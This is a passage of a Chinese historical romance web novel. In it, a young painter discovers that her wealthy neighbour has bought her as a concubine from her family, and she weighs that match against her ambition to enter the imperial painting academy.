简珣有一瞬间地凝滞,却按照她的意思不再强求。 闷闷地往外面走,显然是要送佛送到西天。 他这么喜欢搬花盆那就如了他的愿吧,黄时雨乐得轻松,在前面不时催促,快些快些。 琥珀与那妆盛阁的丫鬟神情复杂地紧跟其后。 这条黄时雨觉得格外漫长的路,在简珣眼里竟然不过须臾就结束了。 他闪神望着梅娘满脸欢喜地钻进车厢,又掀起窗帘露出半张动人的小脸,“是了,你送的绢墨也太多了些,根本用不完。” 简珣道:“你这么爱画画岂会用不完。” 黄时雨眼睛一亮,“你的意思是……” 简珣含笑:“嗯,就是送你的意思。” 黄时雨客气道:“嗐,那多不好意思。” “不好意思的话便帮我也画两幅,就画你今天买的花。”他殷殷道。 “好呀!我给你画四幅,不,六幅。” 黄时雨应声不迭。 在笔墨纸砚上占了简珣的便宜,她极力地想去弥补。 就那么爱画画。 妆盛阁的珠宝首饰不是比绢墨更值钱么。 缘何对他难言的心意总是不屑一顾。 简珣怅然望着她欢颜,倒退着走了数步,落寞转身而去。 六幅难道不吉利,怎么忽然没了笑意? 黄时雨纳闷地瞅了瞅简珣的背影,又缩回车厢。 主仆二人干坐着无聊,便嗑起瓜子。 黄时雨神秘道:“简允璋未来的媳妇又来泽禾了。” 琥珀一怔:“他定了亲?” 黄时雨靠近她,压低了声音,“早晚的事儿,跟你说,这可是他的心上人。” 琥珀难以置信,“简少爷竟连这种私事都告诉你。” 黄时雨不以为意道:“这有啥,他不也知道我的,你忘了嘛,被他瞧见裴盛养外室那回,若非他安慰,我都感觉自己能憋屈死呢。” 琥珀欲言又止。 嗫嚅半晌才轻轻道:“那次……你们在车厢就是说了这些吗?” 倒也说了不少交心话,黄时雨回忆着。 关于简珣被退亲这么丢脸的事,她并未说给琥珀听。 调侃朋友可以,但不能把他最不光彩的当谈资。 日西时分,黄时雨才堪堪赶到家。 琥珀和杜叔搬花盆。 她则扫了扫裙摆和袖端,径直去书房给阿爹请安并交代了五十银子一分不剩。 期间也提到过简珣,大意是两个人在妆盛阁偶遇,简珣乐于助人帮她搬花盆。 黄秀才淡淡“嗯”一声,脸上并无疼惜银钱之色,思忖片刻,才语重心长道:“梅娘,多向琥珀学学规矩,今后见着简少爷莫要再没大没小,他再宠你,你也不能真的不敬他。” 黄晚晴已经在背后全都抖落给黄秀才:初七那日,简少爷不过和和气气与梅娘说笑两句,梅娘便赌狠撂脸色打人,我的脸都要被她丢尽了。就连登车梅娘也抢先,全然不知退让,跟个少奶奶似的,简少爷亲自搀扶她,她又拉着个脸。若非简少爷隐忍再三,怕是都懒得再与咱们家来往。 她的话多半是夸大其词和臆想,怎么埋汰黄时雨怎么说。 黄秀才自然不会全信,毕竟听起来过于离谱,但对梅娘的行径也不是一无所知。 打小,她就压着简珣一头,要往东简珣陪她往东,要往西简珣陪她往西,玩着玩着免不了有着恼的时候,简家那小子竟也十分耐心地坐在旁边看她咧嘴哭。 一开始他也不懂去哄,后来突然开了窍,看见梅娘哭就歪着小脑袋主动搭话,分她些零嘴逗她开心。 两小儿能快快乐乐相处一年,期间也有黄秀才的故意纵容。 或许,从一开始他就预感到了某种走向吧。 只不过预料陡然成真,多少还是恍若发梦。 主要是没想过简珣如此直接,雷厉风行。 这厢黄时雨被阿爹的“宠”字用法惊到心神不宁,感觉怪异,又说不出个具体所以然。 但却不得不正视一件事——原来在大家心里,简允璋对她那样的好。 不止阿爹认为,琥珀柳儿也透露过,但琥珀通常是为了提醒她,令她时刻提防男子的殷勤。 防人之心不可无,这不算小人行径而是君子立世根本。 黄时雨确实也防着,实践发现简珣不堪一击,就益发自大,不将他放在眼中,以为自己能与他比划一二。 许是潜意识里早就默认了简珣不会伤害她。 有他在的地方,她就没受过委屈。 黄时雨暗下决心,来日飞黄腾达定要报答他。 四季十二花册终于在简夫人生辰前一日完工,黄时雨得意地欣赏自己的第一本设色,又仔细重新整理一番,按照四季顺序排列成册,最后以茧绸包裹,郑重其事地交予琥珀送去简家。 这可是个顶顶美差。 没过多久琥珀归来复命,乐不可支展示手里的金瓜子。 天老爷! 简珣打赏人竟用金瓜子。 琥珀欣然道:“简府到处张灯结彩,可气派啦,素秋同我说为了给夫人攒福气,近几日的赏钱全是金瓜子。” 黄时雨暗羡不已,若非碍于规矩,她都想亲自去送了,送一百趟也不嫌累…… 琥珀笑眯眯道:“除了这个,简少爷还命人送来一筐灵隐寺的甜栗,等会子烤熟,我给你剥。” 黄时雨转羡为喜,上回尝鲜还是五年前,也是简珣送她的。 犹记灵隐寺的甜栗,色如蜜珀,香若莲房,不仅仅在泽禾出名,每年成熟之际,甚至还有不少外地人过来求购。 当年阿爹可是出了三倍的价也没能定上,今年直接收到了简家送来的一大筐。 琥珀又道:“简少爷说甜栗吃多了不易克化,特特叮嘱我劝你少食多次。” 黄时雨的脸就红了,谁要他多事。 当年没见过世面,年纪小且还不知羞,她趴在学馆的窗子外边,简珣剥一颗她就张嘴吃一颗。 不知不觉吃光了他随身携带的一荷包。 他当时怎么说来着,“馋丫头,没有了,明儿我再带给你。” 结果当晚她就肚子痛地吃不下任何东西,连续喝了三日小儿克化的方子才缓过来。 竟被简珣记到现在。 丢脸的旧事被重提,黄时雨误以为简珣故意揶揄自己,又羞又气。 第30章 理清 殊不知关于甜栗的叮嘱,简珣本意就是字面意思。 是真怕她再不克化,一碗接一碗地喝苦药。 喂撑她那件事对他而言是一场噩梦。 初八那日,宋鸢紧随其后提前溜出妆盛阁的二楼。 简欣兰暗忖表兄妹嫌自己碍事呢,不过年轻人都这样,不见了天天想,见着了又碰不着,可不干着急。 珣哥儿比鸢娘靠谱,况且鸢娘也是个令人放心的孩子,那就装个糊涂翁,予他们些说话的空间吧。 简欣兰吩咐仆妇丫鬟们看好五小姐,便与妆娘研究发髻。 宋鸢先是去了花园,询问离得最近的一名妆盛阁仆婢简少爷在哪儿? 仆婢回方才帮一个姑娘搬花盆,才离开没多久。 宋鸢脑中警钟嗡鸣,不动声色跟了过去,果见简珣帮的姑娘不是旁人,正是邻家俏妹妹。 她心里冷哼,回去的路上始终有些怏怏,不想搭理阿珣。 简珣本来话也不多,没有宋鸢缠闹,就更说不了两句,以至车厢沉默涌动。 连简欣兰都察觉到不对劲。 然而观察简珣神色,又全无异常。 他并不知宋鸢在生气。 接下来几日简珣都在读书练剑,甚少去清苑,一则是真的忙;二则如今阿娘身边多了一个表妹走动,自己不便频繁过去了。 至十一日,简珣向阿娘献十二花册方踏进清苑,宋鸢正闷闷不乐凭栏望着几丛绿竹发呆。 她生得极美,穿着柔软纤薄的衫裙,层层叠叠,微风吹拂勾勒一片美好少女之态。 要说这宋鸢,委实时运不济,恰逢肃王最无心姻缘大事之际,否则落不落选还真难说得准。 宋鸢无意中回眸发现了简珣,立时哼一声,又横了他一眼。 “我又哪里得罪你了?”简珣后知后觉地问。 宋鸢在袖子里狠狠掐着自己手心,委委屈屈望向他,“陪我逛会子街就浑身不自在,我还自作多情在那边心疼你,殊不知不自在全是因为我,换了旁的妹妹立时不一样,殷殷巴巴地凑上前帮着搬花盆,怎不把你那妹妹一起搬上了车。” 简珣被她一通连讽带讥,耳廓脖颈不由一齐染红。 他轻声道:“鸢娘。” 坐实了他的坏心思,宋鸢的眼泪啪嗒滚落出来,“阿珣哥哥,你变了,早就不是眼里只有我的好哥哥了,我讨厌你。” 简珣拿她没办法,温和道:“过几日便是中秋,我正好也有话同你说,鸢娘,我们得好好谈谈。” 他锁眉沉吟着,“我们现在的关系有点乱……” “哪里乱了?”宋鸢仰脸泪汪汪凝望着他,双手颤抖攥紧他衣袖。 她爱慕阿珣哥哥,阿珣哥哥也心悦她,共同努力再续前缘不就好了么? 若说乱,也是那多余的邻家妹妹乱了他的心。 “这不是说话的地方。”简珣得离开了,又见她泪意朦胧,“好了,别哭了。” 宋鸢恼他是根木头,便赌气抓着他,在简珣震惊的目光下用他袖端擦了擦自己眼泪。 他又气又笑,“胡闹。” 宋鸢也知自己越界了,唯恐落人口实,便红着脸丢下他回自己所住的雅月轩。 简珣怎会不知宋鸢想要什么。 闹的越歪缠便是越想他去哄她罢了。 只是他现在也很茫然,不知该用什么样的身份怜惜她。 未婚夫,自然是不行的,两人已经没有庚帖存在;哥哥,也不行,鸢娘现在已经有些粘他了,倘若像从前那样纵容她,她肯定不会单纯地当他是哥哥。 所以两个人必须好好谈谈。 把身份和目标理清楚,理清楚才好给自己的位置下定义。 自从在妆盛阁遇见梅娘,他的自信骤然土崩瓦解。 每多看她一眼,便颓势一分。 这样的他终日心神不宁,牵肠挂肚,已是无暇分心。 所以,他要把一切理清楚。 辛夷饱含笑意的声音打断了简珣思绪,“少爷,夫人请您进去。” 多日不见,程氏观简珣恭敬笑意深处染着如烟郁色,欲盖弥彰,便哼笑一声,“又遇到你表妹了?” 男人都是这副德行。 简珣道:“阿娘,家里的花册您都翻腻了,来看看这本如何?” 程氏接过花册,“这是怕我排揎你的小表妹,还是想替你的邻家妹妹邀功?” 简珣面颊就染了红。 程氏白他一眼,淡淡道:“依你伯祖父的意思,宋家门第太高,又念在老太君的面子,你若非要宋鸢我也认了,但简欣兰中途毁约,若不给她点教训,宋家哪里知道眉眼高低。” 简珣闷声道:“我没说过非要谁。” 程氏意味深长看向他。 琅琊简氏就是高门中的高门,不需要再通过联姻提高,而是要在激流中维持平衡。 国公爷未雨绸缪,暗示过低娶,五品官家即可,条件合适低至从五品也不是不行。 但程氏不能把这种话宣之于口,毕竟里头牵涉的可不仅仅是亲事,最好的法子是让有联姻意向的高门知难而退,比方说得知男方婚后将有贵妾,且贵妾出身平民。 没苦硬吃的贵女才会嫁过来,譬如宋家。 这招堪堪杀人于无形。 宋家当初打着太后旗号参加花神宴膈应程氏,如今也要体验这种膈应了。 是隐忍继续选简珣,还是另谋高就。 怎样选程氏都无所谓。 简珣心里都明白,也不在乎阿娘的出发点,只要结果是好的就行。 阿娘心甘情愿接受梅娘,伯祖父因为他的亲事而对梅娘感到满意。 梅娘被所有长辈接受认可。 这就是他想要的结果。 “原来是更喜欢梅娘。”程氏笑了,“明儿,挑个时辰,我见见她。” 珣哥儿在黄秀才家念书那年,难免接触梅娘,而孩子的天性又总能与同龄人凑到一起,所以程氏并未多心。 未料长大后他竟惦记上了。 简珣冷静道:“阿娘,我还没找到合适的机会说与梅娘。” 程氏拧眉看向他。 简珣坦然接受程氏的打量。 程氏漫漫道:“我们家还没做过迫人为妾的事儿,她若不愿,现在我就让人去衙门销了。” 音色冰冷而不屑。 简珣和缓道:“此事乃我一人自作主张,总要许她一点适应时间,况且……我不想她被黄家夫妇卖给裴盛之流,您现在销文书等同将她推进火坑。” 程氏冷笑:“尊重他人命运,勿涉他人因果。从你插手那一刻,你就被她缠上了,你要承受她的因果,现在销了抽身还不晚。” 简珣嘴角渐渐绷紧,“是我先打了她的主意,若有什么因果也合该受着。她一个怙恃不慈的女孩儿,唯一的出路就是去个好人家重新生活,不然这辈子就完了。” 程氏便不说话了,表情无波无澜,打量他片刻,才道:“出去。” 简珣起身朝程氏深深揖礼,然后头也不回地摔帘而出。 吓得门口打帘子的小丫鬟一个激灵。 与此同时的黄家,也有个小丫鬟被吓一跳。 柳儿望着突然来访的晴娘,直犯嘀咕,但还是老老实实进屋通禀黄时雨。 晴娘仿佛换了个人似的,安安静静立在门口候着。 按她此前的风格应是直接掀帘子进去。 当然,这种事也很少发生,毕竟姐妹二人向来不怎么来往。 正因如此,一大早就贸然出现的晴娘连小丫头瞧了都觉得稀奇。 柳儿跑进屋里道:“二小姐,三小姐求见。” 说话的同时已经熟练地帮黄时雨收拾笔墨纸砚。 来者是客,黄时雨将人请进门让座。 黄晚晴穿着月白色短袄和翠微色百裥裙,发间别着黄时雨从妆盛阁买回的水仙绒花,看起来清冷冷地柔弱。 也正因这份清冷楚楚,她才选了水仙而不是牡丹。 此番是前来回礼的,黄晚晴从丫鬟手里拿过一只锦盒轻轻推至黄时雨手边:“梅娘,你买的水仙花我戴了旁人都夸好看,谢谢你,这是给你的回礼。” 太阳从西边出来了。 黄时雨撇了眼锦盒没有接,而是客气道:“其实是阿爹心疼咱俩才特特许了银钱,我不过是占着便利跑个腿,你不必放在心上。” 黄晚晴吞吞吐吐,目光几番瞥向梅娘又闪烁调开。 好半天才鼓足勇气道:“原是早该上门的,只是你也知道前两日我病着,害怕渡了病气给你,这才一直忍到养好身子过来的。” 黄时雨点点头,“我知道的,你有心了。” 黄晚晴心口一松,暗暗出了口气,又道:“今日我来除了给你回礼,也是,也是想告诉你上个月……我和李富贵退亲了。” 这个消息倒是令人出乎意料,黄时雨与琥珀交换了一个眼神。 只听黄晚晴的丫鬟呜地一声哭了出来,“二小姐,自从我们小姐得知亲事是从你手中‘抢’来的,便食不下咽夜不能寐,日日受到良心的谴责。你不在家看不见她是怎么熬的,我们小姐不惜绝食抗婚,挨了多少打骂,最后只能悬梁自尽方才打动了太太,得以与李家退亲。” 那丫鬟越说越伤心,不过好在口齿伶俐,该表达的都表达了。 黄晚晴只捂着帕子哭。 丫鬟哽咽道:“脖子已经吊在了白绫上,若非我们几个看得紧,三小姐就没了呜呜呜。” 黄晚晴呵斥道:“用不着你多嘴,没得在这里吓到二小姐。” 说罢边抹泪边握住了黄时雨的手,“梅娘,是我对不起你,我只恨自己什么都不知晓,从小到大,就像个傻子,除了听阿娘的话旁的一概不知的,如今我把李大哥还给你,你们才是天生一对……” 黄时雨不动声色抽回手,柔声道:“说了半晌你的嘴巴都起皮了,先喝口茶。”【你现在阅读的是 】 30-40 第31章 木然(此章必看) 黄晚晴的柔弱也不全然是装出的。 她自小娇养还很挑食,三不五时地生病,完全不似黄时雨皮实,如今声情并茂说了半晌,再加上黄时雨提醒,顿觉口干舌焦,便将茶水饮尽。 黄时雨又给她浅浅续了一杯。 黄晚晴眼睛落在锦盒,强笑道:“这根金钗虽是空心却也用了足金,微物不堪,只能略表我的歉意和谢意,还望二姐姐莫要嫌弃。” 天都要塌了,黄晚晴居然以二姐姐称呼她。 黄时雨方从善如流收下,如此黄晚晴就没有其他话头了,喝完第二盏茶便起身告辞,脸上还挂着淡淡凄然。 柳儿立在门口乖巧地打帘子,目送黄晚晴朝自己的厢房而去。 这厢黄时雨将金钗交给琥珀,将来卖掉也是一笔进项,存款再加一笔。 黄晚晴的话没几个字可信,但黄时雨下意识不想流露自己的真实想法。 她一直在模仿简珣的喜怒不形于色。 不被看透的人才有更多转机,令人无法掌控。 不可否认李富贵这门亲事,曾经是黄时雨所能想到的最好的。 或许现在也是最好的。 但是人,总不能,非要在一群矮子里选个最不矮的是吧。 表面上看李富贵什么错都没有,实际不然,私下见晴娘在先,贪恋美色立即反悔与阿爹的口头约定在后,并不是一个值得托付终身的君子。 仔细论起来,也不过是长得不丑家境殷实,所谓的不纳妾是因为已经有了两个通房,真没什么特别闪光的特质。 当时黄时雨只需去李富贵这样的重色之徒跟前稍稍露个脸,就不愁他不选自己,可那又如何呢? 靠美色和亲妹妹抢这么个不值钱的男人,简直是在侮辱自己。 总而言之,黄时雨早已看不上李富贵了,更提不起兴趣了解晴娘背后的用意。 她的目光从微凉的茶盏又投向了初秋的窗外,原来一年又过去了大半。 按照泽禾的风俗和阿爹的规矩,明年她得嫁人了。 寸土大的地方,适龄且家世相当的也没多少。 其实她对未来夫君的要求一点也不高,是个正常人就行。 从前大言不惭的憧憬也不过是闺阁女子说梦。 每个女子都有做梦的权利,梦想完美的爱侣模样,但大家都很清醒,没有人真的当真。 只有发癔症的才分不清梦与现实。 故而,黄时雨对阿爹将要把自己许给谁根本没抱多大希望。 最差也不过和离,将来同姐姐做个伴儿。 她和姐姐去县里或者京师,总能找到养活自己的路子。 至于家,姐姐说女子嫁了人就再也没有家。 中秋阖家团圆,白日踏秋晚间夜行赏月,乃泽禾一年一度的盛会。 黄时雨晨间吃了块月饼就在房中认真读书。 大约申时辛夷又来了一趟黄家,这是今日的第二趟,辰时那会子因为送节礼就来过。 黄太太分外热络,满脸堆笑,拉着辛夷的手问简夫人有什么吩咐。 辛夷含笑道:“黄二小姐的水墨灵气逼人,画的十二花册颇得夫人眼缘,为此夸赞了数日,趁着今儿兆头好,这不就遣我来邀请二小姐过府一叙。” 黄太太连忙吩咐身边的婆子通传黄时雨,又得意道:“这孩子确实有慧根,随她娘……”一时口快,她急忙卷回舌头,这个说话不过脑子是老毛病了。 见辛夷并无异色,黄太太才讪笑道:“嗐,我们家老爷虽科举不顺却也诗书棋画略通一二,养的孩子自然差不到哪里。” 辛夷称是,恭维了黄时雨几句,热情话又密的黄太太立刻聊得更起劲。 黄时雨梳洗整齐来到了上房问安。 黄太太人模人样地叮嘱黄时雨——诸如时刻记着规矩,好生陪简夫人说话不可失了分寸等等。 黄时雨无不应是。 辛夷主动打断了黄太太的聒噪,拉着黄时雨的手,对黄太太道:“那我便回去复命了,太太留步。” 说罢,带着一直在忍耐的黄时雨离开了压抑的黄家。 多年后再回想这一日,黄时雨都觉得老天爷一直在给她下预兆,比方早晨醒来迷迷糊糊脑袋磕了床头架子,烤栗子时烫了手,疼得她站起来捏耳朵,偏她就是一无所觉。 人安逸的时候大多没啥感觉,突然疼起来往往又木木然。 毗邻多年,第一次踏进简家。 在此之前,黄时雨对简家印象就是一道朱红的巍峨大门。 甫一进去,视线就对上一堵气派的水磨影壁,古朴严肃又说不出的贵气。 此时此刻她尚不知京师的宅子大到日常串门可能都要骑马坐软轿,目下只觉得从大门走向清苑好远好远呀。 半道上还遇到了准备夜行赏月的壁人——简珣和宋鸢。 四辆马车停在路中央,后面三辆应是仆婢们坐的,最前面的宽敞又华丽,不必说当属主家。 宋鸢满头珠翠,华贵又不失少女的娇态,车厢里的阿娘催了声,她只好暂时歇了同简珣闹别扭,扶着萍儿提裙登车。 简珣余光却瞥见了一道惊心动魄的身影。 电光火石。 感觉周身血液都凝固了。 他心跳如雷,许是太紧张,以至于看上去仿佛面无表情。 简珣“面无表情”地望向黄时雨。 这厢甫一发现了他投来的视线,辛夷莞尔福了福身,黄时雨的笑意则更接近嬉笑,若非人多,说不定还要对他做个鬼脸的。 她的心里约莫是在打趣:嚯,又被我撞见咯,简允璋带着心上人夜行赏月。 黄时雨的心思被简珣猜得八九不离十。 但这里不是顽笑的场合,故而她憋下笑意,规规矩矩随同辛夷姐姐继续朝清苑走去。 简珣尚愣在原地,潮水般的紧张与恐惧将他吞没。 万没想到阿娘选在今日召梅娘叙话。 毫无预兆地,根本不给他干涉的机会。 宋鸢从车厢探首,阿珣怎么立在原地发起呆? “阿珣哥哥快些,等下还要登高爬金象塔呢。” 无人回应。 他还是立在原地。 宋鸢噔噔噔下车,半是挑衅半是试探地拉着他的手。 破天荒的,哪怕她胆子大到与他十指相扣,他还没反应。 “阿珣哥哥……”宋鸢担忧地望着他。 简珣蓦然用力攥紧。 好痛!宋鸢惊呼,简珣的魂儿才被她唤回。 宋鸢委屈不已,抽回自己遭了大罪的手儿,不解地看向魂不守舍的简珣。 他什么也没说,登上了马车。 这边厢黄时雨已经给简夫人见过礼,只在抬首时望了一眼神仙妃子似的美妇人又垂了眸。 心底惊叹。 简允璋长得可真像简夫人。 程氏请黄时雨来炕上坐。 一般客人都是落座沿墙的官帽椅,主家的亲戚或者比较亲近之人则坐炕,贵人的话直接坐炕,主家坐椅。 黄时雨有些犹豫。 程氏道:“不是什么外人,面对面的也好把话说请,远了反而容易不周到。” 辛夷挽着黄时雨胳膊请她坐了过去,又给她斟了杯奇香的清茶,隐约夹着点茉莉芬芳。 黄时雨对程氏告了个罪便静坐听候吩咐。 程氏从素秋那里已知黄时雨是个大美人,却未料竟是这般清姿艳质,又逢及笄年华,怨不得珣哥儿为着她丢了魂儿一样。 初次见面,没什么特别好感,但也不讨厌。 不过想到黄时雨的绢本设色有那么一点闻韵致的风骨,程氏对她的好感又悄悄加了三分,话音便也温婉了八分。 “阿珣性格内敛,少言寡语,心思也很敏感,看起来不怎么讨女孩子欢心。” 程氏忽然讲起了简珣的性格。 不是,她说的怎么跟自己认识的完全不同啊,简直是两个人。 黄时雨认识的那个分明惯会甜言蜜语,花招不断,哄得她团团转。 她一头雾水,却端然听着。 竟是规矩极好的模样,全然不似普通乡野女子那般随意,程氏全都看在眼里。 “黄姑娘,那么你觉得阿珣这个人如何呢?”程氏微笑看着她。 黄时雨很是意外,但还是诚实回道:“简允璋是一个谦和有礼的公子,我们家所有人提起他都夸赞的。” 程氏点点头,“所以,你也不讨厌他是吧?” “是。” 很好,不讨厌就行。 至于喜不喜欢都是小问题,日子长了自然有感情。 程氏抿了口茶,“今儿请你跑一趟确实有重要的事要同你说,阿珣犹豫不决,只有我来做这个坏人了。不过姑娘放心,我们家往上再数三代也没有过迫人为妻为妾为奴的先例,进门全凭姑娘心意,但求落子无悔。” 黄时雨嗫嚅道:“夫人……” 程氏示意她不必着急,先耐心把该听的话都听完,“这是鬻妾文书,你看下真伪,看完了想清楚了再给我答案。” 说罢,又补充了一句,“姑娘一句话,我自会遣人跑一趟衙门,不出半日户籍便能复旧如初。” 简夫人递过来一本叫做鬻妾文书的红封册子。 黄时雨默默翻开,长长的睫毛半垂,又怕看得太快错漏了什么,只得一行一行慢慢默念。 简允璋的字真漂亮,哪怕写个鬻妾文书也仿佛卷考似的。 文书尾部分别盖了简允璋和阿爹的私章,还有一个更大的章印,应是官府的。 再仔细辨认日期,竟是四个月前就签好了。 如没记错,正是与裴家相完了亲之际。 简允璋用两千两买她。 整整多出裴家一千两。 所以说黄太太断没有吃亏的可能,怎会放下一千两的买卖任由她退婚,自然是有两倍的价格送上门。 从那以后,黄太太再也不讥讽打骂,阿爹舍得掏五十两给她买花,就连晴娘也主动朝她示弱示好。 黄时雨轻轻叹息一声,细微如烟如缕。 这世上哪有无缘无故的善意呢,不过是因为她变得更有价值。 早该想到的。 那些她曾努力想要忽视的,努力说服自己的都站不住脚了。 不需要多么复杂地转化来渡她顿悟。 只需一瞬间就领悟了。 程氏黛眉轻蹙,事先也不是没预料黄时雨可能出现的多种反应,不外乎:欣喜、震怒、羞怯、无措。 却一点也未在黄时雨脸上显现。 因为她基本就没什么表情,木木然的。 第32章 强拆(此章必看,必看,…… 泽禾中秋,月明路白,穿过清和鼓乐与烟火,离嘈杂熙攘的人群越来越远,车马来到了相国寺的金象塔。 主持相迎,简珣和宋家母女也双掌合十与大师相互见礼。 金象塔里外已经被小沙弥打扫的干干净净,今夜简家随从护卫环绕,特来赏月,便不对外开放了。 还是泽禾好,放在京师哪有这般容易一家独占一座塔呀。 有钱也买不来的。 似这种规模的多数被皇室宗亲包圆。 宋鸢开心得像只小百灵,早忘了先前与简珣的矛盾,一路上更是放肆拉着他衣袖,阿珣哥哥长阿珣哥哥短的。 简欣兰暗暗瞪了她一眼,没什么效果。 坐在第十层,闻着佛香,远处喧嚣烟火与眼前高悬明月辉映,宋鸢觉得这是她见过最好看的月亮了。 月亮下的阿珣哥哥也是她见过最好看的美男。 仆妇丫鬟围着主家畅聊说笑,又像是有默契似的不去打扰宋鸢和简珣。 简珣起身又爬了两层,站在第十二层,浸着月色望向远处。 宋鸢果然也跟了过来。 萍儿见小姐要与简少爷说话,便知情识趣的守在门口。 “阿珣哥哥,我突然不想与你闹别扭了,咱们和好吧。”宋鸢望着月亮,轻轻依在他身畔,却也不敢真的靠着他。 简珣垂眸看向她。 她便酡红了脸羞垂眸。 却又被他说的话儿惊得重新抬起怔怔而视。 他说:“我放不下梅娘了。” 鸢娘神情在他眸中一点点黯淡。 简珣道:“我和她的事已征得两家长辈同意,明年乡试结束我便要带她回京。” “那她知道吗?” “父母之命媒妁之言,她知不知道又有什么关系。” 宋鸢似乎在竭力控制什么。 安静了许久才轻轻笑了声,“好呀,你爱纳几个便纳几个呗。” 到底是没控制住,说着说着竟哭了出来。 简珣又道:“她是我的贵妾。” 宋鸢愣住。 语窒半晌才道:“她父亲连个举人都未考中,你失心疯了,我不信祖父会任由你胡来。” “梅娘是一个很好的姑娘,长辈们定然都会喜欢她。” 宋鸢冷笑,“这种门第做贵妾,我看满京师贵女谁敢嫁给你。” 便是皇宫稍微体面些的皇后下面也没有皇贵妃。 思及此处,宋鸢忽然面如缟素,终于意识到了什么,有些后宅微妙男人意识不到,但女人不可能不懂的。 这种难以名状的膈应表舅母岂会不知? 表舅母知道了却同意简珣纳贵妾,意味着什么? 只有一个解释——膈应宋家。 宋鸢隐隐开始发抖。 亲事还没一撇,已先领教到了程氏的下马威。 她忍住心口不断往外冒的寒意,连眼泪也忘了流,“阿珣哥哥,你是了解我的,我们家也从来没有不容人的妒妇,我既下了决心跟你,就不会计较你有两个通房小妾,哪怕再多两个,我也能忍,但你说你要贵妾,就是对我不好了,你对我不好,我就再也不跟你好!” 简珣沉默地垂下眼睫,挡住了满目复杂纠结的幽光。 许久之后,才听得他一声若有若无地叹息,浅若烟尘。 他说:“要不就算了吧。” “鸢娘,我们算了吧。” 宋鸢简直不敢相信自己的耳朵,呆愣原地。 简欣兰的欢喜几乎要溢出嗓子眼,以为赏完月,年轻人必将被节日氛围感染,再说两句暖心的话,陶陶然更生情谊,就不会有什么隔夜仇了。 回去的路上简珣骑马,简欣兰见了机会连忙打听二人方才在十二楼说了什么,珣哥儿有没有不老实之类的。 宋鸢抿唇不语。 简欣兰这才觉不对劲,但见鸢娘小脸苍白,失魂落魄,独坐一捧凉凉月色里。 简珣纵马疾驰。 简家的门子老远瞧见了一人一马冲过来,才张开嘴说了 “少爷”两个字,少爷已经闪现跟前,抬手丢过来一团绳鞭,就阔步如飞地消失夜色中。 面对提前归来的简珣,程氏毫不意外。 辛夷正在为她通头发,她自己慢腾腾涂着香膏,对曹妈妈道:“让他进来吧。” 简珣几个步子就迈到了她面前。 程氏没好气地撇了他一眼,“骑马回来的吧,脸也没洗,脏兮兮的。” 简珣问:“梅娘呢?” “回家了。” “您都跟她说了?” “嗯。” “那她……哭没哭?” 程氏以为他要问答不答应,不意他竟在意那丫头哭没哭。 她照实回道:“没哭。” 什么表情都没有。 简珣面色微白,清秀的唇角动了动,竟又化成了无边的沉默。 程氏漠然道:“我把文书给她了,让她自己个儿决定,三天后给我答复。” “回来!”程氏厉声喝道,“这么晚了你想做什么?” 已经走到门口的简珣生生刹住身形,“我要去见她。” “她还没答应你,便当自己是闺阁女儿家,即便你是他律法上的夫君也还是不要晚间打扰她为妙。” 简珣攥紧的手缓缓松开。 程氏又放缓了音色,“辛夷同我说她姐姐回家了。” 辛夷送归黄时雨不久便来复命,说了一则奇事——黄时雨的姐姐回了娘家。 回娘家本来不是奇事,但中秋节回娘家在大康就是大事了。 时人讲究“宁留女一秋,不留女中秋”,除非婆母公爹都不在世,或者和离、被休,不论是哪一样都不是好事。 “她姐姐遇上这样的事,再加上鬻妾文书,正是焦头烂额之际,怕是没甚心情应付你,莫要过去添堵。” 简珣淡淡嗯了声,“我知道。” 程氏透过镜子只能瞧见他萧索的背影。 黄家将将经历完一场“浩劫”。 刘老太专门挑了中秋节这样的“好日子”,一辆骡车就把黄莺枝送还黄家,同时送还的还有几身旧衣裳。 黄太太站在西厢前叉腰骂了半个时辰,直到琥珀掀起门帘,冷脸道:“太太便是不顾二小姐身体也得顾着自己的,我们二小姐最多熬夜伤神气色差,你嗓子却要嚎出血了,那才是罪过。” 黄太太哑着嗓子又骂了琥珀一句,到底是灰溜溜离开。 内室黄莺枝正在翻看鬻妾文书,漫然道:“两千两是挺贵的,连黄太太也不敢招惹你。” 黄时雨正在烛火下念书,唯有读书才能使她真正的平心静气。 听见了姐姐说的话,她又从书册抬起脸,“姐姐早点休息吧,且在家里好好养伤,我的事会自己解决的。” 从前遇到大事,黄时雨都会求助黄莺枝,以期拿个主意,如今给大户人家当贵妾这等大事中的大事……竟从头到尾冷静异常,甚至一句“姐姐,我该怎么办”都未开口。 “你怕我命你答应才不敢开口对不对?”黄莺枝浅笑,看向摇曳烛光后妹妹朦胧又稚嫩的脸庞。 黄时雨眼睫轻颤,“我知道这是最好的。简允璋素来迁就我,以他的人品将来腻了也不会做出苛待我的事。这是一门对我来说最完美的姻缘了。” 黄莺枝点点头,有这样的认知,说明梅娘真的长大了,“那为何又不愿呢,因为不想与别的女人分享夫君?” 黄时雨摇了摇头,“妻也要与旁人分享夫君,在感情上同贵妾一样可怜,不过是比贵妾多些利益保障。” 原来正妻和贵妾,在黄时雨眼里都是可怜人。 黄莺枝突然开始认真打量妹妹,“那梅娘为何不开心呢?” 原来她的不开心这么明显,都被姐姐发现了。黄时雨眉心轻拢烟愁,“画署不收庶出之人,包括为奴为妾者。” 她的眼睛里盛着灿烂的前途与未来,怎会拘泥于嫁人生子,后院二两碎银。 终日为二两碎银蝇营狗苟的姐姐陷入了沉默。 平民女孩,唯有嫁人才能重生更改命运。 简允璋却给了黄时雨一条最安逸的捷径。 可是做了贵妾就失去进画署的资格。 这与她的心愿背道而驰,注定与简允璋背道而驰。 次日,黄时雨借口送简夫人画册,在黄秀才欣慰的目光中重新叩响了简家的角门。 门子立刻前去通传,半道遇上了福生,福生是个机灵的,一把拦住门子,“你回去吧,我去通传。” 门子只好原路返回。 没想到给自己引路的人变成了福生,黄时雨诧异几瞬又猜到了原因,便依言随他而去,来到了一座陌生的园子,竹林掩映,碧树成荫,是一栋二层的居所,名曰“墨斋”,这种连着花园的独栋不用猜也是主人家的。 简允璋换好常服从正厅走出,一把拽住黄时雨手腕,“跟我走。” 黄时雨不愿意,“你要带我去哪儿?” 他回:“衙门。” 黄时雨望向他。 简珣道:“趁现在我还有空,陪你去衙门销了文书。” 黄时雨眸底微亮,“真的吗?” 简珣牵了牵嘴角,“这有什么好骗人,你不会真以为我看上你了吧?我这人就是爱管闲事,见不得弱者深陷泥淖,既然能花一千五百两买福泽,那花两千两买你又有何不可?毕竟你在我心里比福泽重要的多,我们是朋友,不是吗?” 